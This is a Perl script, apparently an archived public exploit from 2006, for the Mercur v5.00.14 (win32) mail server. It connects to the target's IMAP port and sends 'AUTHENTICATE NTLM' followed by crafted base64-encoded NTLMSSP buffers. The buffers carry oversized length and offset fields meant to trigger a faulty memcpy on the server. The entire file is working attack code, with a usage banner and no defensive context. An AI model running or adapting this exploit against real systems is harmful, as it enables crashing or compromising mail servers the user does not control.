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#!/usr/bin/perl
#
# mercur-v1.pl
#
# Mercur v5.00.14 (win32) remote exploit
# by mu-b - Dec 2006
#
# - Tested on: Mercur v5.00.14 (win32)
#
########
use Getopt::Std; getopts('t:n:', \%arg);
use Socket;
use MIME::Base64;
&print_header;
my $target;
if (defined($arg{'t'})) { $target = $arg{'t'} }
if (!(defined($target))) { &usage; }
my $imapd_port = 143;
my $send_delay = 1;
if (connect_host($target, $imapd_port)) {
print("-> * Connected\n");
$buf = "1 AUTHENTICATE NTLM\r\n";
send(SOCKET, $buf, 0);
sleep($send_delay);
print("-> * Sending payload\n");
# src = "NTLMSSP....."
$buf = "NTLMSSP".("A"x100);
send(SOCKET, encode_base64($buf)."\r\n", 0);
sleep($send_delay);
# memcpy(s, src+a, b);
print("-> * Sending payload 2\n");
$buf = "NTLMSSP".
"\x69".
"\x03\x00\x00\x00".
"\xff\xff". # b
("A"x2).
"\x00\x00". # a
("A"x2).
"\x00\x00".
("A"x2).
"\x00\x00".
("A"x2).
"\x04\x00".
("A"x6).
"\x00\x80".
("A"x6).
"\x04\x00".
("A"x12);
send(SOCKET, encode_base64($buf)."\r\n", 0);
sleep($send_delay);
print("-> * Successfully sent payload!\n");
}
sub print_header {
print("Mercur v5.00.14 (win32) remote exploit\n");
print("by: <mu-b\@digit-labs.org>\n\n");
}
sub usage {
print(qq(Usage: $0 -t <hostname>
-t <hostname> : hostname to test
));
exit(1);
}
sub connect_host {
($target, $port) = @_;
$iaddr = inet_aton($target) || die("Error: $!\n");
$paddr = sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
return(1338);
}
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